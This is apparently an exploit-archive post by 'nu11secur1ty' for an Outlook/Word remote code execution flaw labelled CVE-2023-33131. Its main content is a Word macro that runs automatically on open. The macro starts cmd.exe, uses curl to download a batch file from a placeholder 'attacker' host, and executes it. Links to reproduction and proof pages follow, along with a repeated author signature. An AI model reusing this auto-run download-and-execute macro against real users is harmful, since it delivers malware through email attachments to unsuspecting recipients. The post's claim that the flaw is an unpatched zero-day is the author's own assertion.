## Title: Microsoft Outlook ®Microsoft 365 MSO (Version 2306 Build 16.0.16529.20100) 32-bit RCE ## Author: nu11secur1ty ## Date: 07.07.2023 ## Vendor: https://www.microsoft.com/ ## Software: https://outlook.live.com/owa/ ## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/ ## CVE-2023-33131 ## Description: In this vulnerability, the Microsoft Outlook app allows an attacker to send an infected Word file with malicious content to everyone who using the Outlook app, no matter web or local. Microsoft still doesn't have a patch against this 0-day vulnerability today. ## Staus: HIGH Vulnerability [+]Exploit: - The malicious Word file: ```js Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat > nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat", vbNormalFocus) End Sub ``` ## Reproduce: [href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33131) ## Proof and Exploit [href](https://www.nu11secur1ty.com/2023/07/cve-2023-33131-microsoft-outlook.html) ## Time spend: 00:30:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty